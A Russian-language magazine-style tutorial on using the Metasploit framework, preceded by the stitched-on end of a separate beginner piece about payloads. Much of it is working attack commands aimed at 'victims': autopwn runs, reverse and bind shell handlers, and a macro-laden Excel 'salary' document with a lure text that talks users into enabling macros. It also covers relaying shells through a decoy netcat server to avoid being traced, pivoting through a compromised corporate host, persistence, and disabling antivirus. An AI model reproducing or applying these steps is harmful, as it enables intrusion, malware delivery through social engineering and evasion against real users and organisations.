и закрепляем, дважды нажав по клавише Tаb . Metasploit спросит, не хотите ли вы посмотреть всех… Пэйлоудов. И обычно терминал Metasploit-а выводит информацию по пэйлоудам в формате Operating System/Shell Type Операционная система/Тип шелла . Например

Set payload/windows/shell_reverse_tcp

Остаётся выбрать нужную ОСь и понравившийся тип пэйлоуда. Самые популярные типы пэйлоудов это и есть шеллы, о которых мы говорили выше (удалённый шел и метерпретер шел или метер -шелл).

Выбор пэйлоудов из кэша среды очень широк. Так же как и выбор средств, с помощью которых система жертвы будет “сливать” хакеру нужную информацию. Типичные шеллы с основой reverse_tcp из команды выше для того и существуют: исполняясь на удалённой системе, они сообщают злоумышленнику данные, часто не вызывая подозрений у системного фаервола.

Пока всё. Успехов

Появившись на свет 7 лет назад, MSF впоследствии из простого фрэймворка для написания рабочих сплоитов превратился сначала в некий «швейцарский нож», а теперь – в целую мастерскую по проведению пентестов, включая в себя все необходимое – от сбора инфы до продвинутых способов постэкслуатации. Не зря ведь MSF входит в пятерку самых юзаемых тулз. И что радует – MSF продолжает расти и развиваться! А в каком направлении – узнаешь из этой статьи.

Изначально в статье предполагалось описать возможности автоматизации действий в MSF, но, проанализировав знания народа о фрэймворке, было решено поведать о более-менее продвинутых встроенных возможностях его самого, а об их автоматизации будет сказано по ходу. Это чтобы люди не изобретали велосипед:).

Кстати, о знаниях. Неудивительно, что их не так много, так как всеобъемлющих статей/книг о Metasploit’е даже на английском нету. Так что основные нычки с инфой – иностранные блоги, да личные исследования. Плюс радует, что Руби – вещь простая, и по чужим примерам можно что-то свое дельное сделать.
Но к делу! Все описанное касается последней версии – MSF 3.4.2.

ГУИ возвращается!

Для тех, кто не любит консоль или лень разбираться с командами MSF, существует гуишная оболочка на основе GTK. Точнее существовала, так как с версии 3.3 на нее забили. Если не ошибаюсь, то же самое случилось и с msfweb. То есть пользоваться еще можно, но и так со стабильностью были проблемы, а тут... эх!

Но во время подготовки статьи случилось хорошее – новая гуишная оболочка. Она изменилась и снаружи, и внутри. Если точнее, то она написана на Java, потому кроссплатформенна, и к тому же взаимодействует с MSF через XMLRPC интерфейс, то есть можно использовать ее удаленно.

Запуск гуи делается в две стадии: стартуем msfrpcd, коннектимся к нему через msfgui. Под никсами запустив msfgui можно просто кликнуть «start new msfprcd»

Версия для Win:

  1. Запускаем Cygwin консоль
  2. cd /msf3
  3. msfrpcd -S -U username -P password где –S – отключение SSL, и придуманные логин/пасс
  4. запускаем msfgui.jar, который храниться в %MSF%\msf3\data\gui либо двойным кликом, либо в консоли (не в cygwin’e): java –jar msfgui.jar

В msfgui вводим логин/пасс, порт, IP и коннектимся.

Кое-чего, даже по сравнению со старой гуи, не хватает. Например, доступа к консоли или просмотр логов. Но работать можно, особенно если требуется по быстрому пробежаться по сплойтам, модулям, полазить по чужому компу и т.д.

Сбор информации

Тебе должно быть известно, что MSF работает с БД для складирования информации, обмена ей между своими модулями. И это направление активно развивается.

Для начала, единственная полностью поддерживаемая БД – это PostgreSQL. От SQLite отказались из-за вопросов производительности/масштабируемости, с MySQL тоже что-то не гладко пошло. Вообще, установка Postgres’а не должна вызвать проблем. Драйвер для взаимодействия вшит в MSF.

Под Win: ставим, задаем пасс для юзера – postgres и порт.

Через pgAdmin: коннектимся к локальному серваку, создаем еще одного пользователя «Роли входа» (msf_user), создаем БД в «Базы» (msf_db). Там же можно настроить сам SQL-сервак, сделав его «побезопасней», да и полазить по таблицам MSF.

msf> db_driver postgresql
msf> db_connect msf_user:[email protected]:5432/msf_db

Теперь команда db_create не работает напрямую, можно только коннектиться к существующей БД, и, если есть соответствующие права (как у юзера postgres), база автоматически создастся. Иначе – создавать базу вручную в Postgres’е.

Но это не так страшно, ведь можно пользоваться workspace’ами. БД одна, таблицы те же, но модули обмениваются/добавляют инфу только в текущем спэйсе. Попробуешь – поймешь, db_workspace тебе в помощь.

Немного разберемся с командами:

  • db_service – выводится инфа о портах/сервисах, просканированных либо модулями, либо встроенным nmap’ом, либо импортированная из сторонних программ. На основе этого работает db_autopwn с параметром –p (по портам);
  • db_notes – «заметки», типа версии ОС, полученные из Nmap, или какие-то «подробности» полученые WMap’ом. Жаль, но db_autopwn, похоже, не смотрит db_notes для выбора сплоита.
  • db_vulns – уязвимости, найденные либо модулями MSF(WMap), либо импортом из Nessus’а(OpenVAS), Nexpose. На основе этого работает db_autopwn с параметром –x (по уязвимостям).

Для примера просканируем хост nmap’ом и результаты попадут в нашу БД:

msf> db_nmap –PN –sV 192.168.0.101

Итог от модуля порт-сканера из MSF будет аналогичным, и данные тоже попадут в БД. Вот только для определения сервисов требуется пользоваться уже другими модулями (все aux-модули с «version» на конце в разделе scanner, например, scanner/imap/imap_verison).

msf> use scanner/portscan/tcp
msf> set RHOSTS 192.168.0.101
msf> set PORTS 1-1000
msf> run -j

Чтобы автоматизировать последние действия, да и вообще любые действия в MSF, можно воспользоваться так называемыми resource-файлами. По сути это обычные текстовые файлики с последовательным перечислением команд для MSF. Например, создадим ресурсик для быстрого запуска «сервера» для реверсового meterpreter’а. Для этого пихнем в файл(metrevhandl.rc) следующие команды:

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.0.102
exploit –j
back

Запускаем наш скрипт с помощью «resource»:

msf> resource metrevhandl.rc

Как видишь – очень удобно. Но это еще не все. Самое сладкое в том, что в этих скриптах можно писать код на Руби, что и позволяет нам, например, установить взаимоотношения между отдельными модулями MSF.

Кстати, home/.msf3/msfconsole.rc – скрипт, который автоматически запускается при старте msfconsole. В него очень удобно запихнуть коннект в БД, например.

Входим...

WMAP. WMAP – это попытка заточить MSF под веб-приложения и как-то автоматизировать все это дело. Проект WMAP пока находится на ранней стадии и работает не особо хорошо, особенно по сравнению со своими конкурентами. Вряд ли он будет развиваться, во всяком случае, в своем нынешнем виде, а причина в том, что Rapid7 начала очень плотно финансировать опенсорсный w3af фрэймворк, который и заточен под дела веба, так что можно ожидать слияние внутренностей или функционала MSF и w3af. Но все же небольшой пример (требуется подключение к БД):

1. Подгружаем плагин wmap:

msf> load db_wmap

2. Добавляем жертву:

msf> wmap_targets -a http://www.example.com/

3. Просмотр и запуск модулей против нашей жертвы:

msf> wmap_run -t
msf> wmap_run –e

Итоги складируются в БД и доступны через db_vulns, db_notes.

Для некоторых модулей требуется настройка параметров. Это можно сделать с помощью команды setg. Также в WMAP есть паук (wmap_crawler) и возможность взаимодействия с прокси (wmap_proxy).

Вдобавок любителям помучить базы данных всевозможными инжектами советую посмотреть модуль MSF – scanner/http/sqlmap. Это порт одноименной тулзы – SQLmap. Вещь, по ходу, мощная:). Инфу о тулзе можно почерпнуть на сайте создателей – .

db_autopwn

Автопавнилка в MSF обзавелась парой полезных параметров:

  • -R – указывает минимальный ранк эксплойта, который будет применяться;
  • -m – задают регекспу для выбора сплотов.

Например:

msf> db_autopwn -t -p -m windows -R excellent

выведет список только лучших сплоитов под стандартные Win-сервисы.

Кстати, с версии 3.3.1 с Nexpose можно работать прямо из MFS и сразу автопавнить на основе выявленных уязвимостей.

1. Подгружаем плагин и подключаемся к Nexpose:

msf> load nexpose
msf> nexpose_connect msf_user:[email protected]

2. Запускаем только лучшие сплоиты по найденным уязвимостям:

msf> nexpose_scan -R excellent -x 192.168.0.101

Browser_autopwn

Если предыдущая павнилка была заточена по стандартные сплоиты, то эта – под клиентские, нацеленные на браузеры жертв, что понятно из названия.
По сути, этот модуль поднимает HTTP-сервер и на нем же поднимает все сплоиты под браузеры. Когда жертва заходит на наш сервак, модуль определяет версию браузера и ОС, после чего запускает соответствующий сплоит. Пока что основной фичей модуля является точное определение версии браузера/ОС. Используются как серверные, так и клиентские возможности(JavaScript) по детекту. То есть обмануть модуль, подставив другой User-Agent, точно не удастся.

Из имеющихся сплоитов хорошо валятся олдскульные версии браузеров, но самое приятное в том, что просто добавлять свои сплоиты, а это уже сила. Бесплатный сплоитпак получается.

В будущих версиях обещают добавить возможности по обфускации сплоитов (чтобы антивирями не палилось) и возможности по выбору нагрузок.

Например, создадим сервак с бэкконнектом для шеллов 192.168.0.102:

msf> use server/browser_autopwn
msf> set LHOST 192.168.0.102
msf> set URI index.php
msf> exploit -j

VBA

В разделе EasyHack я уже писал о создании «троянов» с помощью MSF, но засылать exe-файлы – это очень палевно. Юзеры нынче стали пугливые и не открывают все, что попало, а там еще и предупреждения от винды. Куда менее палевно применять какие-нибудь офисовские файлы:

msfpayload windows/shell_bind_tcp LPORT=5555 V > macros.vba

Далее создаем, например, экселевский документик со страшными именем «Зарплата сотрудников». Потом открываем полученный VBA, текст макроса (MACRO CODE) пихаем в макрос документа (Сервис –> Макрос –> Редактор VB), а в конец документа – нашу «нагрузку» (PAYLOAD DATA). В начало документа можно добавить какие-нибудь расчеты для красоты. Так как макросы по дефолту отключены (с версии OfficeXP, насколько мне известно), то строчкой вида «Внимание! Работа с базой возможна только при включенных макросах. Чтобы их включить, зайдите в «Сервис –> Параметры –> Безопасность –> Защита от макросов –> Низкая» и перезапустите документ», можно заставить пользователя подключить макросы. В итоге – шелл на 5555 порту.

Смысловая нагрузка

На самом деле выбор нагрузки(payload) к сплоитам – дело важное. Но их в MSF много, так что я немного пробегусь по ним (в основном по Win*), чтобы появилось общее понимание. Во-первых, есть общее разделение по ОСям, а так же ПО и подгружаемым интерпретаторам (ruby, perl).

Общее разделение по описанию:

  • С пометкой «Inline» – это «целиковые» шеллкоды. Они большие, потому не всегда влезают в эксплойты;
  • «Stager» – нагрузки, разделенные на части. В сплоит попадает небольшой шеллкод, в основном для установки соединения, остальное подгружается при подключении;
  • «Ord» – «заточенные» нагрузки. Маленькие по размеру, но привязанные к статическим адресам в памяти системной DLL’ки;
  • «Bind» – открытие порта и ожидание соединения;
  • «Reverse» – бэкконнект-шелл;
  • «Findport» – происходит поиск сокета, через который работал эксплойт, далее шелл открывается через него. Поиск осуществляется по номеру порта;
  • «Findtag» – аналогично предыдущему, только определение сокета ведется за счет прослушки всех доступных в ожидании прихода 4-байтового тэга от хакера.;
  • «Exec, Download_exec, Up_exec» – шеллкод на запуск команды, скачку/закачку и запуск;
  • «VNC» – запускаем VNC-сервер у жертвы;
  • «dllinjection» – подгрузка DLL’ок в память процесса. Инжект DLL’ок есть двух видов;
  • «metsvc» – целиком загружает meterpreter жертве и прописывает его как сервис;
  • «PassiveX» – наш шелл выступает элементом ActiveX.
  • «NoNX» – шеллкоды с обходом механизма защиты памяти DEP;
  • «DNS» – те, что могут работать по именам хостов, а не по IP;
  • «HTTPS» – шелл, который общается по шифрованному HTTPS-протоколу (жаль, без поддержки прокси).

Немного остановлюсь на PassiveX, так как они очень хороши.
Суть заключается в том, что наш шелл прописывается как элемент ActiveX, а взаимодействие происходит через скрытую версию IE по HTTP-протоколу. Это на самом деле круто, особенно, если ты ломаешь какую-то корпоративную сетку, где все сидят за NAT’ом и с общим файрволом, пропускающим только HTTP-трафик с корпоративного прокси-сервера. В таком случае ни одна другая нагрузка не поможет, особенно если ты не знаешь настройки для прокси. А тут – все настройки для прокси и аутентификации на нем (если она есть) уже прописаны в IE.

Создадим нагрузочку и прослушку под нее (192.168.0.102:443):

msfpayload windows/meterpreter/reverse_http PXHOST=192.168.0.102 PXPORT=443 PXURI=/ X > reflmeter102.exe

msf> use exploit/multi/handler
msf> exploit -p windows/meterpreter/reverse_http -o PXHOST=192.168.0.102,PXPORT=443,PXURI=/

Причем, если раньше PassiveX работал только под IE6, то теперь все окей и с IE7/8.

Далее об обычных шеллах. Обычный шелл – это, конечно, хорошо, но если ты юзал meterpreter, то тебе захочется к нему вернуться.
И теперь у нас есть такая возможность. Предположим у нашей жертвы (192.168.0.101) уже повешен обычный бинд-шелл на 5678 порту.

Коннектимся к нему из MSF:

msf> use exploit/multi/handler
msf> exploit -p windows/shell_bind_tcp -o RHOST=192.168.0.101,RPORT=5678

Хотелось бы сказать, что следующей командой мы превращаем обычный шелл в meterpreter, да не судьба. MSF просто подгружает бэкконект meterpreter и, запустив его, создает еще одну сессию (создается еще одно соединение). Хотя это тоже не плохо. Но чтобы все работало, нам надо установить глобальные значения своего хоста (куда коннектиться реверсу), а потом уже «обновить» сессию (предположим, она у нас «1»):

msf> setg LHOST 192.168.0.102
msf> setg LPORT 6666
msf> sessions –u 1

В итоге избавляемся от кучи напрягов и ограничений обычного шелла.

Кстати, о meterpreter’e. Его уже давно пытаются перенести на другие платформы(linux, Macos), но пока как-то там не все гладко. Но, все-таки, есть хорошие новости: в каком-то виде meterpreter был перенесен на PHP! В «каком-то», потому что не все функции позволяет реализовать PHP, но основное уже доступно. Так что можно залить на заваленный сервак и побаловаться таким крутым шеллом.

Теперь поговорим о собственной «безопасности». Пока что большинство модулей MSF не поддерживают прокси, особенно это относится к боевым нагрузкам. Ведь мы же не хотим, чтобы нас вычислили:). Потому вспомним олдскульную фичу – портфорвардинг.

Предположим наш сервак с MSF, ожидающий бэкконнект шеллов, находится по адресу «192.168.0.103:5555». Тогда на подставном сервачке на 80 порту мы вешаем netcat:

ncat --sh-exec “ncat 192.168.0.103 5555” –l 80 --keep-open

А в payload’ах мы прописываем IP (или DNS) и порт подставного сервака.
Кстати, netcat поддерживает SSL, так что можно и зашифровать трафик, если сам шелл этого не позволяет.

Постэксплуатация

Да, теперь переходим к самому вкусному – постэкслуатации и meterpreter’у. Надеюсь, ты знаком с meterpreter’ом, потому как рассказывать, насколько он хорош (и следов после себя почти не оставляет, и работает в chroot’е) и функционален (встроенные хак-тулзы, модификация реестра и файловой системы, миграция по процессами и токенам, маршрутизация) у меня нет желания:).

Давай предположим, что мы получили доступ к одному из компов (192.168.146.129) в корпоративой сети и мы (192.168.0.102) хотим развить наш успех – просканить подсетку и поиметь еще что-нибудь.

Добавляем маршрут (подсетка, ее маска, сессия для маршрутизации) в msfconsol’е:

msf> route add 192.168.146.0 255.255.255.0 1

К сожалению, nmap не захотел пользоваться этим маршрутом – видимо, не такая глубокая интеграция пока что. Но обычными модулями, сплоитами и сканерами спокойно (то есть без каких-либо спецнастроек) можно пользоваться для развития атаки (см. рисунок) – всю маршуртизацию берет на себя MSF.

Так как у определенных хостов может быть ограничен доступ во внешнюю сеть (где находимся мы), то для связи с ними можно использовать портфорвардинг на уже уделанной жертве, благо, meterpreter это умеет:

meterpreter> portfwd add -l 8008 -p 2222 -r 192.168.0.101

Теперь прописываем в payload’ах сплоитов LHOST=192.168.146.129, LPORT=8008, и все будет тип-топ.

Meterpreter имеет чудесную возможность – автоматизация действий посредством руби-скриптов. Это реально круто. Посмотреть существующие скрипты можно в msf3\scripts\meterpreter, во время юзания – пишем run и дважды Tab (для тех, кто не в теме:). Запускать скрипты можно либо ручками через команду run, либо указав переменную AutoRunScript или InitialAutoRunScript при конфиге нагрузке/сервера. Вторая переменная – выполняется до запуска шелла, первая – после.

Скриптов входящих в поставку уже много, из самого стандартного:

  • winenum – быстренько собирается вся инфа о системе от сетевых настроек до установленного ПО и хешей;
  • persistence, metsvc – прописывает meterpreter на автозапуск в реестре или как сервис;
  • getcountermeasure – отключает файер, может убивать процессы разнообразных антивирусов и файрволов.

Вместо заключения

В статье я постарался описать что-то новое (во всяком случае, для русскоязычных источников) и при этом обо всех стадиях взлома, так что, надеюсь, она будет тебе полезна. К тому же, родилось пара гениальных идей, которые осталось лишь реализовать, да нашлось пару гадких багов в MFS, которые, я надеюсь, будут устранены к выходу номера. В общем, творить – это чудесно!

Несколько подсказок:

  • В msfconsol’е отлично работает автодополнение посредством нажатия Tab, к тому же все команды поддерживают хелп параметром «-h».
  • Если хочешь приостановить выполнение команды – Ctrl+C, отправить в бэкграунд – Ctrl+Z.
  • Копирование текста в cygwin’е делается с помощью левой/правой кнопки мыши, вставка – Shift+Insert.
  • Под виндой доступ к интерфейсам msfcli, msfpayload и т.д. осуществляется через консоль cygwin. Но желательно хорошенько потестить, так как не все функции могут работать адекватно.